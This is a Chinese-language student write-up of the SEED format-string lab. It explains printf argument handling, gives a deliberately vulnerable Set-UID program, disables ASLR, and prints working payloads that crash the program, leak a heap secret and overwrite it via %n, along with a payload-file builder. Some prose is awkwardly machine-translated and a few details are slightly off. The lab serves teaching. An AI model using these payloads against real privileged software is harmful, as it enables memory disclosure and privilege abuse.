Format String Vulnerability
格式字符串vUl nerability是由printf(用戶輸入)等代碼引起的,其中用戶輸入的變量的內容用戶提供。當此程序使用權限(例如,Set-UID程序),此打印機聲明變得危險,因為它可能導致以下后果之一:
- 使程序崩潰
- 從內存中任意位置讀取
- 修改內存中任意地方的值。這非常危險,因為它可以允許用戶修改內部變量特權程序,從而改變程序的行為。
在這個實驗室中,將獲得具有格式字符串漏洞的程序;接下來的任務是利用漏洞。除了攻擊之外,還可以創造一種可用於擊敗這種攻擊的保護方案。
本文作者:對酒當歌、邊城
Pre
1、查看這段代碼的執行結果,解釋%.20d 和%hn 的含義。
main()
{
int num=0x41414141;
printf("Before: num = %#x \n", num);
printf("%.20d%hn\n", num, &num);
printf("After: num = %#x \n", num);
}
gcc pre.c -o pre
./pre
%.20d
是精度修飾符,應用於整型(%d),d 表示以十進制形式輸出帶符號整數,%.number
格式中,當應用於整型值時,它控制最少打印多少位字符。如果數字不夠長,則在前面補 0。所以%.20d
表示輸出長度為 20 的整型量。
%hn
h 表示按 2 字節短整型量輸出,%n 表示將已輸出的字符個數放入到變元指向的變量中。獲取print函數va_list指針指向的值,視該值為一個內存地址,然后將數據(視為2字節短整型數)寫入該地址。寫入的數據為printf已經打印出的字符數。此代碼為20,十進制為14
2、解釋 linux 用 root 執行下面這條命令的含義和用途。
sysctl -w kernel.randomize_va_space=0
地址空間隨機化ASLR(Address Space Layout Randomization),緩存區溢出攻擊需要知道目標區域的具體內存地址,為了簡化實驗,這條命令的作用是關閉地址隨機保護機制。
-
0 = 關閉
-
1 = 半隨機。共享庫、棧、mmap() 以及 VDSO 將被隨機化。
-
2 = 全隨機。除了1中所述,還有heap。
3、描述 fprintf、printf、sprintf、snprintf、vprintf 這幾個函數的功能和差異。
int printf(const char *format, ...);
printf()函數的挪用式樣為: printf("<式樣化字符串>",<參量表>);
寫入標准輸出,printf()函數是式樣化輸出函數, 一般用於向准則輸出設備按規定式樣輸出消息。printf()是 C 語言標准庫函數,用於將格式化后的字符串輸出到標 准輸出。標准輸出,即標准輸出文件,對應終端的屏幕。printf()申明 於頭文件 stdio.h。正確返回輸出的字符總數,錯誤則返回負值,與此 同時,輸入輸出流錯誤標志將被置值,可由指示器 ferror1 來檢查輸 入輸出流的錯誤標志。字符串常量原樣輸出,在顯示中起提示作用。
輸出表列中給出了各個輸出項,要求格式控制字符串和各輸出項在數 量和類型上應該一一對應。其中格式控制字符串是以%開頭的字符 串,在%后面跟有各種格式控制符,以說明輸出數據的類型、寬度、 精度等。
int fprintf(FILE *stream, const char *format, ...);
功能:傳送格式化輸出到一個流/文件中與打印機輸出。
用法: 根據指定的格式(format 字符串)來轉換並格式化數據(argument),然 后將結果輸出到參數 stream 指定的流/文件中,直到出現字符串結束 ('\0')為止。fprintf() 只能和 printf() 一樣工作。返回值:成功時,返 回輸出的字符數,發生錯誤時返回一個負值。在 LINUX/UNIX 操系統 中成功返回 0,失敗返回-1。並置 errno 值.
int sprintf(char *str, const char *format, ...);
功能:把格式化的數據寫入某個字符串緩沖區。
函數 sprintf()的用法 和 printf()函數一樣,只是 sprintf()函數給出第一個參數 str(一般為字 符數組),然后再調用 outtextxy()函數將串里的字符顯示在屏幕上。 通常在繪圖方式下輸出數字時可調用 sprintf()函 數將所要輸出的格 式送到第一個參數,然后顯示輸出。
str:char型指針,指向將要寫入的字符串的緩沖區。
format:格式化字符串。
[argument]...:可選參數,可以是任何類型的數據。
返回值:字符串長度(strlen)
int snprintf(char *str, int n, char * format [, argument, ...]);
用於將格式化的數據寫入字符串。將可變個參數(...)按照format格式化成字符串,然后將其復制到str中
snprintf()可以認為是
sprintf()的升級版,比 sprintf()多了一個參數,能夠控制要寫入的字符 串的長度,更加安全,只要稍加留意,不會造成緩沖區的溢出。
- str 為要寫入的字符串;
- n 為要 寫入的字符的最大數目,超過 n 會被截斷;
- format 為格式化字符串,與 printf()函數相同;
- argument 為變量。成功則返回參數 str 字符串長 度,失敗則返回-1,錯誤原因存於 errno 中。
如果格式化后的字符串長度 < size,則將此字符串全部復制到str中,並給其后添加一個字符串結束符('\0');
如果格式化后的字符串長度 >= size,則只將其中的(size-1)個字符復制到str中,並給其后添加一個字符串結束符('\0'),返回值為格式化后的字符串的長度。
int vprintf ( const char * format, va_list arg );
送格式化輸出到stdout中,將可變參數列表的格式化數據打印到 stdout 將格式指向的 C 字符串寫入標准輸出(stdout)
標准庫函數vprintf函數與printf函數類似,所不同的是,它用一個參數取代了變長參數表,且此參數通過調用va_start宏進行初始化。同樣,vfprintf和vsprintf函數分別與fprintf和sprintf函數類似。
以 printf 的方式替換任何格式說明符,但使用由 arg 標識的變量參數列表中的元素而不 是附加的函數參數。在內部,函數從 arg 標識的列表中檢索參數,就 好像 va_arg 被使用了一樣,因此 arg 的狀態很可能被調用所改變。
在任何情況下,arg 都應該在調用之前的某個時刻由 va_start 初始化, 並且在調用之后的某個時刻,預計會由 va_end 釋放。成功后,返回 寫入的字符總數。如果發生寫入錯誤,則會設置錯誤指示符(ferror) 並返回負數。如果在編寫寬字符時發生多字節字符編碼錯誤,則將 errno 設置為 EILSEQ,並返回負數。
4、認真觀看 P8 Format String Vulnerability Lecture
Software Security - Kevin Du - SEED Project - Syracuse University
https://www.bilibili.com/video/BV1v4411S7mv
大概說下視頻的內容。
格式化字符串攻擊:通過引發格式化字符串的錯誤匹配,攻擊者 可以修改一個進程的內存,並最終令程序運行惡意代碼。如果這個漏 洞存在於一個以 root 權限運行的程序,攻擊者就可以利用該漏洞來 獲取 root 權限。格式化字符串漏洞能造成各種后果,如使程序崩潰, 竊取程序的密碼數據,修改程序內存,使程序運行攻擊者的惡意代碼等。
以printf函數為例詳細解釋了漏洞的成因,並通過幾個實驗加深對此漏洞的理解。格式化字符串漏洞的成因是格式規定符和可變參數的數目不匹配。對每個格式規定符,printf()函數都會從棧中獲取一個變量。如果格式規定符的數目超過棧中參數的實際數目,printf()函數將不知不覺地越過棧幀,把棧中的其他數據當作自己的參數。printf()函數可以讀取或者寫入數據到參數中。如果printf()函數訪問的內存不屬於它的棧幀,可能會輸出程序的隱私數據;更糟糕的是,printf()函數還可以修改程序的內存。在格式化字符串攻擊中,攻擊者有機會為特權程序提供格式化字符串的內容。通過精心構造格式化字符串,攻擊者能令目標程序重寫函數的返回地址,當函數返回時,它會跳轉到攻擊者放置惡意代碼的位置。為了避免這類漏洞,開發者應該避免讓不受信任的用戶影響格式化字符串的內容。操作系統和編譯器也已采用了一些機制來糾正或者檢測潛在的格式化字符串漏洞。
Lab
代碼倉庫:https://github.com/SKPrimin/HomeWork/tree/main/SEEDLabs/Format_String
提示
1、什么是格式字符串?
printf ("The magic number is: %d\n", 1911);
要打印的文本是"The magic number is:
",后跟格式參數'%d
',該參數在輸出中替換為參數(1911)。因此,輸出如下所示:The magic number is: 1911
。除了 %d 之外,還有其他幾個格式參數,每個參數都有不同的含義。下表總結了這些格式參數:
參數 | 含義 | 傳遞為 |
---|---|---|
%d | 十進制 (int) | value |
%u | 無符號十進制 (unsigned int) | value |
%x | 十六進制(unsigned int) | value |
%s | 字符串((const) (unsigned) char *) | reference |
%n | 到目前為止寫入的字節數, (* int) | reference |
2、堆棧和格式字符串
格式化函數的行為由格式字符串控制。該函數檢索參數由堆棧中的格式字符串請求。
printf ("a has value %d, b has value %d, c is at address: %08x\n",a, b, &c);
3、萬一出現不匹配怎么辦?
如果格式字符串和實際參數之間不匹配怎么辦?
printf ("a has value %d, b has value %d, c is at address: %08x\n", a, b);
- 在上面的示例中,格式字符串要求提供 3 個參數,但程序實際上只提供了兩個(即 a 和 b)。
- 這個程序可以通過編譯器嗎?
- 函數 printf() 被定義為具有可變參數長度的函數。因此,通過查看參數的數量,一切看起來都很好。
- 要找到不匹配,編譯器需要了解 printf() 的工作原理以及格式字符串的含義。但是,編譯器通常不會進行這種分析。
- 有時,格式字符串不是常量字符串,它是在程序執行過程中生成的。因此,在這種情況下,編譯器無法找到未匹配項。
- printf() 可以檢測到不匹配嗎?
- 函數 printf() 從堆棧中獲取參數。如果格式字符串需要 3 個參數,它將從堆棧中獲取 3 個數據項。除非堆棧標有邊界,否則 printf() 不知道它用完了提供給它的參數。
- 由於沒有這樣的標記。printf() 將繼續從堆棧中獲取數據。在不匹配的情況下,它將獲取一些不屬於此函數調用的數據。
- 當 printf() 開始獲取它所需要的數據時,它會引起什么問題?
4、查看在任何位置的內存
- 我們必須提供內存的地址。但是,我們無法更改代碼:我們只能提供格式字符串。
- 如果我們在沒有指定內存地址的情況下使用 printf(%s),那么 printf() 函數無論如何都會從堆棧中獲取目標地址。該函數維護一個初始堆棧指針,因此它知道參數在堆棧中的位置。
- 觀察:格式字符串通常位於堆棧上。如果我們可以在格式字符串中對目標地址進行編碼,那么目標地址將在堆棧中。在以下示例中,格式字符串存儲在位於堆棧上的緩沖區中。
int main(int argc, char *argv[])
{
char user_input[100];
... ... /* other variable definitions and statements */
scanf("%s", user_input); /* getting a string from user */
printf(user_input); /* Vulnerable place */
return 0;
}
- 如果我們可以強制 printf 從格式字符串(也在棧上)獲取地址,我們就可以控制地址。
printf ("\x10\x01\x48\x08 %x %x %x %x %s");
\x10\x01\x48\x08
是目標地址的四個字節。在 C 語言中,字符串中的 \x10 告訴編譯器將十六進制值 0x10 放在當前位置。該值將只占用一個字節。不使用\x,如果我們直接將“10”放在一個字符串中,就會存儲字符“1”和“0”的ASCII值。它們的 ASCII 值分別為 49 和 48。- %x 使堆棧指針移向格式字符串。
- 如果 user_input[] 包含以下格式字符串,攻擊的工作方式如下:
"\x10\x01\x48\x08 %x %x %x %x %s"
- 基本上,我們使用四個 %x 將 printf() 的指針移向我們存儲在格式字符串中的地址。一旦我們到達目的地,我們將把 %s 交給 print(),讓它打印出內存地址 0x10014808 中的內容。函數 printf() 會將內容視為字符串,並打印出字符串,直到到達字符串的末尾(即 0)。
- user_input[] 和傳遞給 printf() 函數的地址之間的堆棧空間不適用於 printf()。但是,由於程序中的格式字符串漏洞,printf() 將它們視為與格式字符串中的 %x 匹配的參數。
- 這種攻擊的關鍵挑戰是計算 user_input[] 和傳遞給 printf() 函數的地址之間的距離。這個距離決定了在給出 %s 之前需要在格式字符串中插入多少個 %x。
5、將整數寫入內存
- %n:到目前為止寫入的字符數存儲在相應參數指示的整數中。
int i;
printf ("12345%n", &i);
- 它使用 printf() 將 5 寫入變量 i。
- 使用與在任何位置查看內存相同的方法,我們可以讓 printf() 將整數寫入任何位置。只需將上例中的 %s 替換為 %n,地址 0x10014808 處的內容就會被覆蓋。
- 使用此攻擊,攻擊者可以執行以下操作:
- 覆蓋控制訪問權限的重要程序標志
- 覆蓋堆棧上的返回地址、函數指針等。
- 但是,寫入的值取決於在達到 %n 之前打印的字符數。真的可以寫任意整數值嗎?
- 使用虛擬輸出字符。要寫入 1000 的值,只需填充 1000 個虛擬字符即可。
- 為了避免長格式字符串,我們可以使用格式指示符的寬度規范。
6、printf() 如何訪問可選參數
#include <stdio.h>
int main()
{
int id = 100, age = 25;
char *name = "Bob Smith";
printf("ID: %d, Name: %s, Age: %d\n", id, name, age);
}
這里,printf() 有三個可選參數。以"%"開頭的元素稱為format specifiers
printf()掃描格式字符串並打印出每個字符,直到遇到"%"
printf()調用va_arg(),它返回va_list所指向的可選參數並將其推進到下一個參數。
調用 printf() 時,參數將按相反的順序推送到堆棧上。
當它掃描並打印格式字符串時,printf() 將 %d 替換為第一個可選參數中的值,並打印出value
va_list然后移動到位置 2。
- va_arg() 宏無法理解它是否到達了可選參數列表的末尾。
- 它繼續從堆棧中獲取數據並推進指針va_list。
任務1:利用漏洞
下面的程序需要你提供輸入,該輸入將保存在調用的緩沖區
user_input
中。然后,程序使用printf打印出緩沖區。該程序是SET-UID程序(所有者是root),即它與root權限運行。不幸的是,有一種格式字符串漏洞以如何在用戶輸入上調用Printf的方式。我們希望利用此漏洞,看看我們能造成多大的傷害。該程序有兩個存儲在其內存中的秘密值,並且您對這些秘密值感興趣。但是,秘密值對您來說是未知的,您也無法識別它們讀取二進制代碼(為了簡單起見,我們使用常量0x44和0x55來標記秘密。但在實踐中,雖然您不知道秘密,但找出他們的內存地址(范圍或確切值)並不難,因為他們是連續地址。因為對於許多操作系統,地址是與運行該程序的任何時候完全相同。
在這個實驗室中,我們只是假設你已經知道了確切的地址。為實現這一目標,程序“故意”打印出您的地址。用這樣的知識,您的目標是實現以下內容(不一定在同時):
- 崩潰程序
- 打印出secret[1]值
- 修改secret[1]值
- 將secret[1]值修改為預先確定的值
請注意,程序的二進制代碼(Set-UID)只能由您讀取/執行,並且無法修改代碼。也就是說,您需要在不修改易受攻擊的代碼的情況下實現上述目標。但是,您確實有源代碼的副本,這可以幫助您設計攻擊。
/* vul_prog.c */
#include<stdio.h>
#include<stdlib.h>
#define SECRET1 0x44
#define SECRET2 0x55
int main(int argc, char *argv[])
{
char user_input[100];
int *secret;
int int_input;
int a, b, c, d; /* other variables, not used here.*/
/* The secret value is stored on the heap */
secret = (int *) malloc(2*sizeof(int));
/* getting the secret */
secret[0] = SECRET1; secret[1] = SECRET2;
printf("The variable secret's address is 0x%8x (on stack)\n", (unsigned int)&secret);
printf("The variable secret's value is 0x%8x (on heap)\n", (unsigned int)secret);
printf("secret[0]'s address is 0x%8x (on heap)\n", (unsigned int)&secret[0]);
printf("secret[1]'s address is 0x%8x (on heap)\n", (unsigned int)&secret[1]);
printf("Please enter a decimal integer\n");
scanf("%d", &int_input); /* getting an input from user */
printf("Please enter a string\n");
scanf("%s", user_input); /* getting a string from user */
/* Vulnerable place */
printf(user_input);
printf("\n");
/* Verify whether your attack is successful */
printf("The original secrets: 0x%x -- 0x%x\n", SECRET1, SECRET2);
printf("The new secrets: 0x%x -- 0x%x\n", secret[0], secret[1]);
return 0;
}
提示:從打印輸出中,您會發現 secret[0] 和 secret[1] 位於堆上,即實際機密存儲在堆中。我們還知道,第一個密鑰的地址(即變量密鑰的值)可以在堆棧上找到,因為變量密鑰是在堆棧上分配的。換句話說,如果你想覆蓋secret[0],它的地址已經在堆棧上了;格式字符串可以利用此信息。
但是,盡管 secret[1] 緊跟在 secret[0] 之后,但其地址在堆棧上不可用。這給格式字符串漏洞帶來了重大挑戰,它需要在堆棧上具有正確的地址才能讀取或寫入該地址。
崩潰程序
使用輸入: %s%s%s%s%s%s%s%s printf() 解析格式字符串。
對於每個 %s,它獲取一個值,其中va_list指向並va_list前進到下一個位置。
當我們給出 %s 時,printf() 將值視為地址,並從該地址獲取數據。如果該值不是有效的地址,則程序崩潰。
gcc -o vul vul_prog.c
sudo chown root vul
sudo chmod 4755 vul
編譯並設置成root所有的set-uid程序
執行程序,輸入若干個%s字符
./vul
%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s
程序崩潰,原因是用%s輸出地址中的值時,保存在棧中值並不都是合法地址,可能是0,指向受保護內存的地址或者沒有映射到物理地址的虛擬地址。當程序試圖從一個非法地址獲取數據時,程序將崩潰。
打印出secret[1]值
- 假設堆棧上的變量包含一個秘密(常量),我們需要將其打印出來。
- 使用用戶輸入:%x%x%x%x%x%x%x
- printf() 打印出va_list指針所指向的整數值,並將其前進 4 個字節。
- %x 的數目由va_list指針的起點與變量之間的距離決定。它可以通過反復試驗來實現。
先用試錯法,隨機輸入一個數。從結果看,secret[1]的地址在第 9個%x。
%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.
以我們只要把秘密信息的地址轉化為十進制整數輸入,再將第9個%x換為%s即可將該位置的秘密信息輸出。
84D 200C = 139272204
%x.%x.%x.%x.%x.%x.%x.%x.%s
U 的 ascii 碼就是 55,說明我們已經將 secret[1]的值成功輸出。
修改secret[1]值
%n:將到目前為止打印出來的字符數寫入內存
printf("hello%n",&i) ⇒ 當 printf() 到達 %n 時,它已經打印了 5 個字符,因此它將 5 個字符存儲到提供的內存地址。
%n 將va_list指針所指向的值視為內存地址並寫入該位置。
因此,如果我們想將值寫入內存位置,我們需要在堆棧上具有它的地址。
因為 secret[1]的地址已經在棧中,所以可以直接修改它的值。
%n表示該符號前輸入的字符數量會被存儲到對應的參數中去。在訪問任意地址內存的時候,我們可以將一個數字寫入指定的內存中。只要將上一小節的 %s 替換成 %n 就能夠覆蓋原地址的內容。此外將%x更改為%10x,規定不足八位左補空格。
%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%n
前面 8 個%.8x 已經打印了 8*8=64 個字符,而 0x40 就是十進制的 64, 所以 secret[1]的值修改成功。
修改 secret[1]為指定值
修改 secret[1]為6666 = 26214 ,即十六進制的1A0A。
26214-56 = 26158
%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.26158x%n
%8x%8x%8x%8x%8x%8c%8x%26158x%n
任務 2:內存隨機化
如果第一個 scanf 語句(
scanf("%d",int_input)
)不存在,即程序不要求您輸入整數,則任務 1 中的攻擊對於那些已實現地址隨機化的操作系統來說變得更加困難。注意秘密[0](或秘密[1])的地址。當您再次運行該程序時,您會得到相同的地址嗎?
引入地址隨機化以使許多攻擊變得困難,例如緩沖區溢出,格式字符串等。為了理解地址隨機化的想法,我們將在此任務中關閉地址隨機化,並查看對先前易受攻擊的程序(沒有第一個scanf語句)的格式字符串攻擊是否仍然很困難。您可以使用以下命令關閉地址隨機化(請注意,您需要以 root 用戶身份運行它):sysctl -w kernel.randomize_va_space=0
關閉地址隨機化后,您的任務是重復任務 1 中描述的相同任務,但您必須從易受攻擊的程序中刪除第一個 scanf 語句(
scanf("%d",int input)
)。如何讓scanf接受任意數字?通常,scanf 將暫停以鍵入輸入。有時,您希望程序采用數字0x05(而不是字符"5")。然而,當您在輸入端鍵入"5"時,scanf實際上會接收ASCII值"5",這是0x35,而不是0x05。難點在於,在 ASCII 中,0x05不是典型字符,因此我們無法鍵入此值。解決此問題的一種方法是使用文件。我們可以很容易地編寫一個C程序,將0x05(再次強調,不是"5")存儲到一個文件中(讓我們稱之為mystring),然后我們可以運行易受攻擊的程序(讓我們稱之為a.out),其輸入被重定向到mystring;也就是說,我們運行"
a.out < mystring
"。這樣,scanf 將從文件 mystring 而不是從鍵盤獲取其輸入。
/* write_string.c */
#include <sys/types.h>
#include <stdio.h>
#include <string.h>
#include <sys/stat.h>
#include <fcntl.h>
int main()
{
char buf[1000];
int fp, size;
unsigned int *address;
/* Putting any number you like at the beginning of the format string */
address = (unsigned int *)buf;
*address = 0x804b01c;
/* Getting the rest of the format string */
scanf("%s", buf + 4);
size = strlen(buf + 4) + 4;
printf("The string length is %d\n", size);
/* Writing buf to "mystring" */
fp = open("mystring", O_RDWR | O_CREAT | O_TRUNC, S_IRUSR | S_IWUSR);
if (fp != -1)
{
write(fp, buf, size);
close(fp);
}
else
{
printf("Open failed!\n");
}
}
關閉地址隨機化:
sudo sysctl -w kernel.randomize_va_space=0
刪除 vul_prog.c 中第一個 scanf 語句,編譯 vul_prog.c 並賦予 set-uid 權限。
gcc -o vul vul_prog.c
sudo chown root vul
sudo chmod 4755 vul
運行兩次 vul
發現 secret[1]的地址沒有改變,說明已經關閉了地址隨機化。
而地址中含有 0x0c 這個特殊字符,這會導致 scanf 這些特殊字符之后將停止讀取任何內容。所以要在 vul_prog.c 中加入一條 malloc 語句,修改其地址。
故vul_prog.c文件變化為17行malloc再復制一行,28行第一個sacnf注釋掉
...
/* The secret value is stored on the heap */
secret = (int *) malloc(2*sizeof(int));
secret = (int *) malloc(2*sizeof(int));
...
printf("Please enter a decimal integer\n");
//scanf("%d", &int_input); /* getting an input from user */
printf("Please enter a string\n");
scanf("%s", user_input); /* getting a string from user */
...
gcc -o vul vul_prog.c
sudo chown root vul
sudo chmod 4755 vul
該地址已經符合要求。 編寫 write_string.c 程序,將上述地址賦值給 address 的前 4 個字節(17行)。
/* write_string.c */
#include <sys/types.h>
#include <stdio.h>
#include <string.h>
#include <sys/stat.h>
#include <fcntl.h>
int main()
{
char buf[1000];
int fp, size;
unsigned int *address;
/* Putting any number you like at the beginning of the format string */
address = (unsigned int *)buf;
*address = 0x804b01c;
/* Getting the rest of the format string */
scanf("%s", buf + 4);
size = strlen(buf + 4) + 4;
printf("The string length is %d\n", size);
/* Writing buf to "mystring" */
fp = open("mystring", O_RDWR | O_CREAT | O_TRUNC, S_IRUSR | S_IWUSR);
if (fp != -1)
{
write(fp, buf, size);
close(fp);
}
else
{
printf("Open failed!\n");
}
}
編譯 write_string.c
sudo sysctl -w kernel.randomize_va_space=0
gcc write_string.c -o write
崩潰程序
./write
%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s
./vul < mystring
打印出secret[1]值
./write
%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.
./vul < mystring
在第 10 個位置,因此可將第 10 個%x 改為%s
./write
%x.%x.%x.%x.%x.%x.%x.%x.%x.%s
./vul < mystring
成功顯示 secret[1]的值。
修改secret[1]值
./write
%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%n
./vul < mystring
0x4c 即十進制的 76,因為 9*8+4=76。
修改 secret[1]為指定值
修改 secret[1]為6666 = 26214 ,即十六進制的1A0A。
26214 -(8*8+4) = 26146
./write
%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.26146x%n
./vul < mystring
修改成功!